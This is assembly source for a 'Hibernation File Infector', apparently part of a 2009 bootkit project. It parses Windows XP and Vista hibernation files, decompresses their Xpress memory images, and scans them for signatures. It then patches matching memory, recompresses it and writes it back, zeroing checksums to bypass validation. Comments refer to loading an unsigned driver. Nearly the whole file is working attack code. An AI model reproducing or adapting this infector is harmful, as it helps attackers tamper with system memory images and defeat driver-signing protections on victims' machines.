
; Hibernation File Infector

; exports only Hibernation_File_Callback, to be called by Open File with handles to hibernation files
; this infects any hibernation file it gets, using virus-description language and an open handle to a signature database (Signatures.avdb)


; stack variables
%define Next_Memory_Map                         bp-4
%define Current_Memory_Map                      bp-8
%define Current_Xpress_Page                     bp-12
%define PagesToCheck                            bp-16
%define PagesToOperate                          bp-20
%define Current_Xpress_Image_File_Pointer       bp-24
%define Next_Xpress_Image_File_Pointer          bp-28
%define Found_Signature                         bp-29
%define Found_Address                           bp-33
%define LastFilePage                            bp-37
%define Current_Memory_Table_Entry              bp-41
%define Current_Physical_Base_Address           bp-45
%define Original_Xpress_Image_Size              bp-49
%define Debug_Variable2                         bp-53
%define Stack_Frame_Size                        45 +8


Hibernation_File_Callback:

enter Stack_Frame_Size, 0

; called by Open File with file handle in eax (to be stored in edx)
mov edx,eax

; display found file message
mov eax,Debug_Message_Found_File
call API_Debug_Message


; read hibernation file header PO_MEMORY_IMAGE
;  typedef struct 
;  {
;       ULONG Signature;            <--- important here (validates hibernation file)
;       ULONG Version;
;       ULONG CheckSum;
;       ULONG LengthSelf;
;       ULONG PageSelf;
;       UINT32 PageSize;
;       ULONG64 SystemTime;
;       ULONG64 InterruptTime;
;       DWORD FeatureFlags;
;       DWORD HiberFlags;
;       ULONG NoHiberPtes;
;       ULONG HiberVa;
;       ULONG64 HiberPte;
;       ULONG NoFreePages;          <--- also important for first Memory Table
;       ULONG FreeMapCheck;
;       ULONG WakeCheck;
;       UINT32 TotalPages;
;       ULONG FirstTablePage;
;       ULONG LastFilePage;
;       ...
;  }
push dword 4096
push dword Extended_Buffer
push edx
call API_Read_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; validate signature
;   'hibr'   valid Windows XP hibernation file
;   'wake'   valid Windows XP hibernation file but system shall start normally
;   'HIBR'   valid Windows Vista hibernation file
;   'WAKE'   valid Windows Vista hibernation file but system shall start normally
push ds
mov ax,Extended_Buffer / 16
mov ds,ax
mov eax,[0]                                                     ; Signature
mov ebx,[80]                                                    ; FirstTablePage (first Memory Map)
mov [Next_Memory_Map],ebx
mov ebx,[84]                                                    ; LastFilePage
mov [LastFilePage],ebx
pop ds

cmp eax,dword 'hibr'
je Hibernation_File_XP_active
cmp eax,dword 'HIBR'
je Hibernation_File_Vista_active
cmp eax,dword 'wake'
je Hibernation_File_XP_inactive
cmp eax,dword 'WAKE'
je Hibernation_File_Vista_inactive

; else invalid!

%ifdef _Debug

; display debug message
mov eax,Debug_Message_Hiberfil_inactive
call API_Debug_Message_Append

%endif

jmp Hibernation_File_Callback_Exit


Hibernation_File_XP_active:
push ds
mov ax,Extended_Buffer / 16
mov ds,ax
mov ebx,[80 + 8]
mov [Next_Memory_Map],ebx
mov ebx,[84 + 8]
mov [LastFilePage],ebx
pop ds

mov eax,Debug_Message_Hiberfil_XP_active
jmp Hibernation_File_Found_Valid

Hibernation_File_XP_inactive:
push ds
mov ax,Extended_Buffer / 16
mov ds,ax
mov ebx,[80 + 8]
mov [Next_Memory_Map],ebx
mov ebx,[84 + 8]
mov [LastFilePage],ebx
pop ds

mov eax,Debug_Message_Hiberfil_XP_inactive
jmp Hibernation_File_Found_Valid

Hibernation_File_Vista_active:
mov eax,Debug_Message_Hiberfil_Vista_active
jmp Hibernation_File_Found_Valid

Hibernation_File_Vista_inactive:
mov eax,Debug_Message_Hiberfil_Vista_inactive
;jmp Hibernation_File_Found_Valid


Hibernation_File_Found_Valid:

; note: a little, hack, we do not really append modified memory because we would have to change header which has a checksum
sub [LastFilePage],dword 18

%ifdef _Debug

; display debug message
call API_Debug_Message_Append

%endif




Hibernation_File_Patch:

; ready to patch Hibernation File (ebx = next Memory Map, edx = handle)

; notice the physical memory will be scanned, so no paging there at all
;   => every page can be user or system and every page will be scanned (no usage of system registers, this is more reliable)


; set the read position to the next memory table
mov ebx,[Next_Memory_Map]
shl ebx,12
mov [Current_Memory_Map],ebx
or ebx,ebx
jz Hibernation_File_Callback_Exit                               ; exit if no table left

; set initial Xpress Image File Pointer (later used when replacing Xpress Image)
mov [Next_Xpress_Image_File_Pointer],ebx
add [Next_Xpress_Image_File_Pointer],dword 4096

; API Seek_File, Handle, Type, Position
push dword ebx
push dword 0
push edx
call API_Seek_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; read Memory Map header MEMORY_TABLE
;  struct MEMORY_TABLE
;  {
;       DWORD PointerSystemTable;
;       UINT32 NextTablePage;       <-- will be stored for later usage (for next Memory Map)
;       DWORD CheckSum;
;       UINT32 EntryCount;          <-- will be used for looping the entries
;       MEMORY_TABLE_ENTRY MemoryTableEntries[EntryCount];
;  };
push dword 4096
push dword Extended_Buffer
push edx
call API_Read_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4


; loop all entries
push ds
mov ax,Extended_Buffer / 16
mov ds,ax

mov ebx,[4]                                                     ; next table pointer
mov [Next_Memory_Map],ebx
mov ecx,[12]                                                    ; entry count = loop counter

; start with a new Xpress Image
mov [Current_Xpress_Page],dword 16
mov [Current_Memory_Table_Entry],dword 0


Hibernation_File_Memory_Map_Entry:

; process pages of entry (ecx = count of entries left)
or ecx,ecx
jz Hibernation_File_Memory_Map_Next

; set segment (for access to entry values)
mov ax,Extended_Buffer / 16
mov ds,ax

; next entry
add [Current_Memory_Table_Entry],dword 16
mov esi,[Current_Memory_Table_Entry]

dec ecx
push ecx

; esi points to MEMORY_TABLE_ENTRY
;  struct MEMORY_TABLE_ENTRY
;  {
;       UINT32 PageCompressedData;
;       UINT32 PhysicalStartPage;           <-- PhysicalEndPage - PhysicalStartPage = count of pages (one memory range)
;       UINT32 PhysicalEndPage;
;       DWORD CheckSum;
;  };

; set PagesToCheck variable
mov eax,[si+8]
sub eax,[si+4]
;inc eax
mov [PagesToCheck],eax

; (Physical Base Address as page number)
push dword [si+4]
pop dword [Current_Physical_Base_Address]


Hibernation_File_Xpress_Image:

; extract data of a full xpress image if, and only if necessary
cmp [Current_Xpress_Page],dword 16
jne Xpress_Image_Read

; read the Xpress Image Header
push dword 32
push dword Extended_Buffer + 4096
push edx
xor ax,ax
mov ds,ax
call API_Read_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; verify Xpress Signature 81h, 81h, 'xpress'
mov ax,Extended_Buffer / 16
mov ds,ax
mov eax,[4096 + 0]
cmp [4096 + 0],dword 70788181h
jne Hibernation_File_Error_XpressSignature
cmp [4096 + 4],dword 'ress'
jne Hibernation_File_Error_XpressSignature

; calculate the compressed data size (CompressedSize / 4 + 1 and round it up to 8)
mov ecx,[4096 + 9]
mov [Debug_Variable2],ecx
shr ecx,2
inc ecx
add ecx,00000111b
and ecx,0FFFFFFFFh - 00000111b
mov [Original_Xpress_Image_Size],ecx

; set current and next xpress image file pointers
push dword [Next_Xpress_Image_File_Pointer]
pop dword [Current_Xpress_Image_File_Pointer]
add [Next_Xpress_Image_File_Pointer],ecx                        ; size of Xpress Data
add [Next_Xpress_Image_File_Pointer],dword 32                   ; size of current Xpress Image Header

; read the compressed data to 50000h
push dword ecx
push dword Xpress_Image_Buffer
push edx
xor ax,ax
mov ds,ax
call API_Read_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; uncompress the data to 60000h
push dword 16*4096                                              ; size of memory to decompress = 1 Real Mode Segment (64 KB)
push dword Hibernation_File_Attack_Data                         ; Output Buffer
push dword Xpress_Image_Buffer                                  ; Input Buffer
call API_Xpress_Decompress

%ifdef COMPRESSANDDECOMPRESSTOTESTALGORITHM
push dword 16*4096
push dword Xpress_Image_Buffer
push dword Hibernation_File_Attack_Data
call API_Xpress_Compress

push dword 16*4096      ; = 1 Real Mode Segment (64 KB)
push dword Hibernation_File_Attack_Data
push dword Xpress_Image_Buffer
call API_Xpress_Decompress
%endif

; operate on the Xpress Image
call OperateXpressImage

; reset xpress pages counter/pointer
mov [Current_Xpress_Page],dword 0

Xpress_Image_Read:


; calculate PagesToOperate variable
mov eax,16
sub eax,[Current_Xpress_Page]
cmp [PagesToCheck],eax
jae PagesToOperate_Set
mov eax,[PagesToCheck]

PagesToOperate_Set:
mov [PagesToOperate],eax


; operate Memory Range
call OperateMemoryRange

; update checked pages
mov eax,[PagesToOperate]
add [Current_Xpress_Page],eax
sub [PagesToCheck],eax

; update physical memory base address
add [Current_Physical_Base_Address],eax

; next Memory Map Entry
cmp [PagesToCheck],dword 0
je Hibernation_File_Memory_Map_Entry_Next

; next Xpress Image
jmp Hibernation_File_Xpress_Image


Hibernation_File_Memory_Map_Entry_Next:

; next entry of memory map
pop ecx

jmp Hibernation_File_Memory_Map_Entry


Hibernation_File_Memory_Map_Next:

; next Memory Map
pop ds

jmp Hibernation_File_Patch


Hibernation_File_Error_XpressSignature:

; error handler for invalid Xpress Signatures
xor ax,ax
mov ds,ax
mov es,ax

; display error message
mov eax,Error_Message_Xpress_Signature
call API_Debug_Message

; output variables for debugging
;   [Original_Xpress_Image_Size]            previous Xpress Image calculated uncompressed size
;   [Debug_Variable2]                       previous Xpress Image original compressed size
;   [Current_Xpress_Image_File_Pointer]     previous Xpress Image file pointer
mov eax,[Original_Xpress_Image_Size]
mov edi,Error_Message_Xpress_Image_Size + 35
call HexToStr_dword
mov eax,[Debug_Variable2]
mov edi,Error_Message_Xpress_Image_Size + 45
call HexToStr_dword
mov eax,Error_Message_Xpress_Image_Size
call API_Debug_Message

mov eax,[Current_Xpress_Image_File_Pointer]
mov edi,Error_Message_Xpress_Image_Pointer + 36
call HexToStr_dword
mov eax,Error_Message_Xpress_Image_Pointer
call API_Debug_Message

;   [PagesToCheck]
;   [PagesToOperate]
;   [Current_Xpress_Page]
mov eax,[PagesToCheck]
mov edi,Error_Message_Xpress_Image_Status + 10
call HexToStr_dword
mov eax,[PagesToOperate]
mov edi,Error_Message_Xpress_Image_Status + 23
call HexToStr_dword
mov eax,[Current_Xpress_Page]
mov edi,Error_Message_Xpress_Image_Status + 36
call HexToStr_dword
mov eax,Error_Message_Xpress_Image_Status
call API_Debug_Message


%ifdef _Debug

; make a memory dump of the Memory Table (4096 bytes) and the Xpress Image Header (32 bytes)
mov eax,Debug_Message_ErrorDumpFile                             ; inform user about dumpfile creation
call API_Debug_Message

mov eax,4096 + 32                                               ; size of memory
mov ebx,Extended_Buffer                                         ; address of memory
mov ecx,File_Dump_File
call Dump_File

mov eax,Debug_Message_Successful                                ; write out successful message
call API_Debug_Message_Append

%endif


;jmp Hibernation_File_Attack_Error_Handler
;jmp Hibernation_File_Callback_Exit



Hibernation_File_Callback_Exit:

; return from callback
leave

ret





HexToStr_dword:

; eax = number
; edi = offset

; "000F1234"

; calculate figure 8
xor edx,edx
mov ebx,010000000h
div ebx

xchg eax,edx
call Store_Number

; calculate figure 7
xor edx,edx
mov ebx,01000000h
div ebx

xchg eax,edx
call Store_Number

; calculate figure 6
xor edx,edx
mov ebx,0100000h
div ebx

xchg eax,edx
call Store_Number

; calculate figure 5
xor edx,edx
mov ebx,010000h
div ebx

xchg eax,edx
call Store_Number

; calculate figure 4
xor edx,edx
mov ebx,01000h
div ebx

xchg eax,edx
call Store_Number

; calculate figure 3
xor edx,edx
mov ebx,0100h
div ebx

xchg eax,edx
call Store_Number

; calculate figure 2 and 1 (and 0)
xor edx,edx
mov ebx,010h
div ebx

xchg eax,edx
call Store_Number

xchg eax,edx
call Store_Number

; terminate the string
;mov [edi],byte 0

ret



Store_Number:

; dl = Number (0-15) to store to edi
cmp dl,0Ah
jnc Store_Number_h

add dl,30h
mov [edi],dl
inc edi
ret

Store_Number_h:
add dl,(41h-10)
mov [edi],dl
inc edi
ret





OperateXpressImage:

; called if full Xpress Image read and uncompressed

; either OperateXpressImage (for full images) or OperateMemoryRange (for a single range) functions can be used to perform page checking

; invoke BHE2009e!ScanSignature
;    data to check......Hibernation_File_Attack_Data + CurrentPage*4096
;    size if data.......PagesToOperate * 4096
mov edi,Hibernation_File_Attack_Data
mov ecx,16 * 4096 - 1
call CheckSignature

; if not found return
cmp [Found_Signature],byte 0
je OperateXpressImage_Exit

; now patch memory at 60000h
call ReplaceFoundSignature

; output successful signature find message
xor ax,ax
mov ds,ax
mov eax,Debug_Message_Signature_Found
call API_Debug_Message

mov eax,ProbeString
call API_Debug_Message_Append

; hook the file
call Replace_Xpress_Image

jmp Hibernation_File_Callback_Exit

; we could now patch the hibernation file and continue searching by moving file pointer to [Next_Xpress_Image_File_Pointer]
; but its not necessary until we just patch 1 module ** just hook the hibernation file now and then exit

OperateXpressImage_Exit:

ret





OperateMemoryRange:

; called for every memory range, [PagesToOperate] and [Current_Xpress_Page] are valid
; data resists uncompressed from offset 60000h

ret     ; we do not patch memory ranges / append Memory Table + Xpress Image until Vista recognizes that change with 0xC000000D = INVALID PARAMETER VALUE

; invoke BHE2009e
;    data to check......Hibernation_File_Attack_Data + CurrentPage*4096
;    size if data.......PagesToOperate * 4096
mov edi,[Current_Xpress_Page]
shl edi,12
add edi,Hibernation_File_Attack_Data
mov ecx,[PagesToOperate]
shl ecx,12
call CheckSignature

; if not found return
cmp [Found_Signature],byte 0
je OperateMemoryRange_Exit

; now patch memory at 60000h
call ReplaceFoundSignature

; output successful signature find message
xor ax,ax
mov ds,ax
mov eax,Debug_Message_Signature_Found
call API_Debug_Message

; hook the file
call Hook_Hibernation_File_Memory_Range

; output successful patched message
mov eax,Debug_Message_Replaced
call API_Debug_Message

; successfully patched, no further operation on hibernation file required => exit
jmp Hibernation_File_Callback_Exit

OperateMemoryRange_Exit:

ret








Hook_Hibernation_File_Memory_Range:

; to be called by OperateMemoryRange, for:
;   - appending a new Memory Map on end of hibernation file
;   - appending modified Xpress Image containing modified memory
;   - entry in Memory Map is created and Memory Map linked into list
;   - Hibernation File Header to be patched

; make a memory dump
mov eax,Debug_Message_DumpFile                                  ; inform user about dumpfile creation
call API_Debug_Message

mov eax,[PagesToOperate]
shl eax,12                                                      ; size of memory
mov ebx,[Current_Xpress_Page]
shl ebx,12
add ebx,Hibernation_File_Attack_Data                            ; address of memory
mov ecx,File_Dump_File
call Dump_File

; compress the data to 50000h
mov eax,[PagesToOperate]
shl eax,12
push eax                                                        ; size of data to compress
push dword Xpress_Image_Buffer                                  ; address to store compressed data
mov eax,[Current_Xpress_Page]
shl eax,12
add eax,Hibernation_File_Attack_Data
push eax                                                        ; source data
;call API_Xpress_Compress
mov ecx,eax                                                     ; size of new compressed data very important for later use
; *******************************MODIFIED**********************************************************************************************************************
    add esp,3*4
    mov ecx,[Original_Xpress_Image_Size]

; Extended_Buffer                   Memory Table where found memory range belongs to
; Extended_Buffer + 4096            Xpress Image Header of original unpatched Xpress Image
; [Current_Memory_Map]              Memory Map File Pointer
; [Current_Memory_Table_Entry]      Memory Range (Table Entry) in Memory Table of Xpress Image Memory

; **** Xpress Image only to contain memory range that memory resists in ****

; [Current_Xpress_Page]             Number of page where Memory Range (truely pages to operate) starts
; [PagesToOperate]                  The count of pages to operate/modify/write
; [Current_Physical_Base_Address]   Physical Base Address of pages to operate (can be unequal to base of memory range)

mov ax,Extended_Buffer / 16
mov ds,ax
mov es,ax


; create a new Memory Map and Xpress Image for the modified memory

; create new Memory Map on Extended_Buffer + 8192
xor esi,esi
mov edi,8192
movsd       ; PointerSystemTable
movsd       ; NextTablePage
xor eax,eax
stosd       ; CheckSum (set to zero to bypass checksum check)
mov eax,1   ; EntryCount (modified Xpress Image + unsigned driver loader)
stosd
    
; (create entry for modified Xpress Image)
mov esi,[Current_Memory_Table_Entry]
movsd       ; PageCompressedData
;movsd       ; PhysicalStartPage
;movsd       ; PhysicalEndPage
mov eax,[Current_Physical_Base_Address]
stosd       ; PhysicalStartPage
add eax,[PagesToOperate]
stosd       ; PhysicalEndPage
xor eax,eax
stosd       ; CheckSum (set to zero to bypass checksum check)

; patch the old Memory Map to point to the new one
mov eax,[LastFilePage]
mov [4],eax
mov [8],dword 0             ; Checksum (again)

; create Xpress Image Header on Extended_Buffer + 12288
mov edi,12288
mov [edi],dword 70788181h   ; Signature
mov [edi+4],dword 'ress'
mov [edi+8],byte 15         ; Uncompressed Pages
mov eax,ecx
dec eax
shl eax,2      
mov [edi+9],eax             ; CompressedSize
mov [edi+13],dword 0        ; reserved (further bytes also)

; reset segments
xor bx,bx
mov ds,bx
mov es,bx


; write the modified Memory Map, the new Memory Map, the Xpress Image

; write old patched Memory Map (which points to the newly inserted one)
push dword [Current_Memory_Map]
push dword 0
push edx
call API_Seek_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

push dword 4096
push dword Extended_Buffer
push edx
call API_Write_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; append the new Memory Map (which contains patched memory)
push dword [LastFilePage]                                       ; seems to be an always valid end-pointer, so we can append Memory Map right ahead there
shl dword [esp],12
push dword 0
push edx
call API_Seek_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

push dword 4096
push dword Extended_Buffer + 8192
push edx
call API_Write_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; append Xpress Image Header
push dword 32
push dword Extended_Buffer + 12288
push edx
call API_Write_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; append Xpress Image
push dword ecx
push dword 50000h
push edx
call API_Write_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4


; patch the Hibernation File Header (update the last file page value)

; seek to the Hibernation File Header
push dword 0
push dword 0
push edx
call API_Seek_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; read the Hibernation File Header
push dword 4096
push dword Extended_Buffer + 12288
push edx
call API_Read_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; calculate new last file page value
add ecx,4096 - 1                                                ; Xpress Image size + Xpress Image Header (32 bytes)
and ecx,0FFFFF000h                                              ; rounded up to a multiple 4096
add ecx,4096                                                    ; additional Memory Map
shr ecx,12                                                      ; as page counter

; update the last file page value (else error 0xC000000D will occur)
mov ax,Extended_Buffer / 16
mov ds,ax
add [12288 + 84],ecx                                            ; set new value

; update checksum (else error 0xC0000221 will occur)
mov [12288 + 64],dword 0                                        ; <- does not work, CALL FOR tcpxsum() function

; -> anyway error 0xC000000D will be shown, most probably because windows recognizes physical memory appearance two times
xor ax,ax
mov ds,ax

; seek again to the Hibernation File Header
push dword 0
push dword 0
push edx
call API_Seek_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; write the modified Hibernation File Header
push dword 4096
push dword Extended_Buffer + 12288
push edx
;call API_Write_File
;jc Hibernation_File_Attack_Error_Handler
; *******************************MODIFIED**********************************************************************************************************************
add sp,3*4

; thats it! everything's patched now

ret








Replace_Xpress_Image:

; replaces an existing Xpress Image

mov eax,Debug_Message_DumpXpress                                ; inform user about dumpfile creation
call API_Debug_Message

; dump out Input Xpress Image
mov eax,[Original_Xpress_Image_Size]                            ; size of memory
mov ebx,Xpress_Image_Buffer                                     ; address of memory
mov ecx,Dump_File_Xpress_Input
call Dump_File

mov eax,Debug_Message_DumpFile                                  ; inform user about dumpfile creation
call API_Debug_Message

; make a memory dump of uncompressed data
mov eax,16 * 4096                                               ; size of memory
mov ebx,Hibernation_File_Attack_Data                            ; address of memory
mov ecx,File_Dump_File
call Dump_File

; TEST HACK
%ifdef testHACK
push es
pushad
mov edi,Hibernation_File_Attack_Data
ror edi,4
mov es,di
shr edi,32-4
xor eax,eax
mov ecx,10000h-1
rep stosb
stosb
popad
pop es
%endif

; compress the data to 50000h
push dword 16*4096                                              ; size of data to compress
push dword Xpress_Image_Buffer                                  ; address to store compressed data
push dword Hibernation_File_Attack_Data                         ; source data
call API_Xpress_Compress
mov ecx,eax                                                     ; size of new compressed data very important for later use

; dump out modified Xpress Image
push ecx
mov eax,ecx                                                     ; size of memory
mov ebx,Xpress_Image_Buffer                                     ; address of memory
mov ecx,Dump_File_Xpress_Output
call Dump_File
pop ecx

; lets compare new compressed size <= old one [Original_Xpress_Image_Size]
cmp ecx,[Original_Xpress_Image_Size]
jbe Replace_Xpress_Image_Write

mov eax,ecx
mov edi,Debug_Message_ErrorAppend + 39
call HexToStr_dword                                             ; fix error message with new size
mov eax,[Original_Xpress_Image_Size]
mov edi,Debug_Message_ErrorAppend + 50
call HexToStr_dword                                             ; fix error message with previous size

; :(
mov eax,Debug_Message_ErrorAppend
call API_Debug_Message

ret

Replace_Xpress_Image_Write:

; fill the gap to the next one with zeroes
push es
push ecx
mov ax,Xpress_Image_Buffer / 16
mov es,ax

mov edi,ecx
mov ecx,[Original_Xpress_Image_Size]
sub ecx,edi

xor ax,ax
rep stosb

pop ecx
pop es

; modify Xpress Image header

; seek to Xpress Image
push dword [Current_Xpress_Image_File_Pointer]
add [esp],dword 32                                              ; skip Xpress Image Header
push dword 0                                                    ; type (= from beginning)
push edx                                                        ; handle to hibernation file
call API_Seek_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

; write modified Xpress Image!
push dword [Original_Xpress_Image_Size]                         ; new compressed size + zero filled gap
push dword Xpress_Image_Buffer
push edx
call API_Write_File
jc Hibernation_File_Attack_Error_Handler
add sp,3*4

mov eax,[Current_Xpress_Image_File_Pointer]
mov edi,Error_Message_Xpress_Image_Pointer + 36
call HexToStr_dword
mov eax,Error_Message_Xpress_Image_Pointer
call API_Debug_Message

mov eax,ecx
mov edi,Debug_Message_SuccessfulReplaced + 25
call HexToStr_dword                                             ; fix error message with new size
mov eax,[Original_Xpress_Image_Size]
mov edi,Debug_Message_SuccessfulReplaced + 45
call HexToStr_dword                                             ; fix error message with previous size

; output successful patched message
mov eax,Debug_Message_SuccessfulReplaced
call API_Debug_Message

ret






%ifdef _Debug

Dump_File:

; (debug, write out memory to compress)
;   eax = size of memory
;   ebx = address of memory
;   ecx = file name

; set variables (a little hack to avoid local unnecessary variables)
mov [Write_Dump_File_Callback + 2],eax
mov [Write_Dump_File_Callback + 8],ebx

; open handle to dump file
push dword Write_Dump_File_Callback
push dword ecx
call API_Open_File_Callback
;jc Hibernation_File_Attack_Error_Handler                       ; no dump file present doesn't affect runtime behaviour
add sp,2*4
jmp Write_Dump_File_Callback_end

Write_Dump_File_Callback:

push dword 012345678h                                           ; will be patched dynamically (because of ebp frame)
push dword 012345678h                                           ; will be patched dynamically
push eax                                                        ; handle returned by Open File Callback
call API_Write_File
jc Write_Dump_File_Callback_return

mov eax,Debug_Message_Successful                                ; write out successful message
call API_Debug_Message_Append

Write_Dump_File_Callback_return:
add sp,3*4

ret

Write_Dump_File_Callback_end:

ret

%endif






Append_Unsigned_Driver_Loader:

; now to append the unsigned driver loader on the hibernation file

; reset segments
xor ebx,ebx
mov ds,bx
mov es,bx

; everything done fine, exit the hibernation file callback
xor eax,eax

jmp Hibernation_File_Callback_Exit





; debug messages

%ifdef _Debug

Debug_Message_Found_File                db  10, " > found hibernation file:", 0
Debug_Message_Hiberfil_XP_active        db  " Windows XP (active)", 0
Debug_Message_Hiberfil_XP_inactive      db  " Windows XP (inactive)", 0
Debug_Message_Hiberfil_Vista_active     db  " Windows Vista (active)", 0
Debug_Message_Hiberfil_Vista_inactive   db  " Windows Vista (inactive)", 0
Debug_Message_Hiberfil_inactive         db  " (inactive)", 0
Debug_Message_Signature_Found           db  "   Signature found: ", 0
Debug_Message_Replaced                  db  "   Hibernation File successfully patched", 0
Debug_Message_Successful                db  " (successful)", 0
Debug_Message_DumpXpress                db  "   Dump: Xpress Image", 0
Debug_Message_DumpFile                  db  "   Debug: Create dump-file of found memory", 0
Debug_Message_ErrorDumpFile             db  "   Debug: Create dump-file of erroneous memory", 0
Debug_Message_ErrorAppend               db  "   Error: New size > original size :(  FFFFFFFF > FFFFFFFF", 0
Debug_Message_SuccessfulReplaced        db  "   Successful! New size: FFFFFFFF, old size: FFFFFFFF", 0

%endif

Error_Message_Xpress_Signature          db  "   File Corrupt, Xpress Header shows invalid signature:", 0
Error_Message_Xpress_Image_Size         db  "     * previous Xpress Image size: FFFFFFFF (FFFFFFFF)", 0
Error_Message_Xpress_Image_Pointer      db  "     * previous Image File Pointer: FFFFFFFF", 0
Error_Message_Xpress_Image_Status       db  "     * 1: FFFFFFFF, 2: FFFFFFFF, 3: FFFFFFFF", 0

;Copyright_Message                                 db "Hibernation File Attack, (C) 2009 Peter Kleissner.", 0  ; to be moved to Clear Screen

File_Dump_File                          db  "*:\dumpfile.sys", 0
Dump_File_Xpress_Input                  db  "*:\XpressImageInput.sys", 0
Dump_File_Xpress_Output                 db  "*:\XpressImageOutput.sys", 0

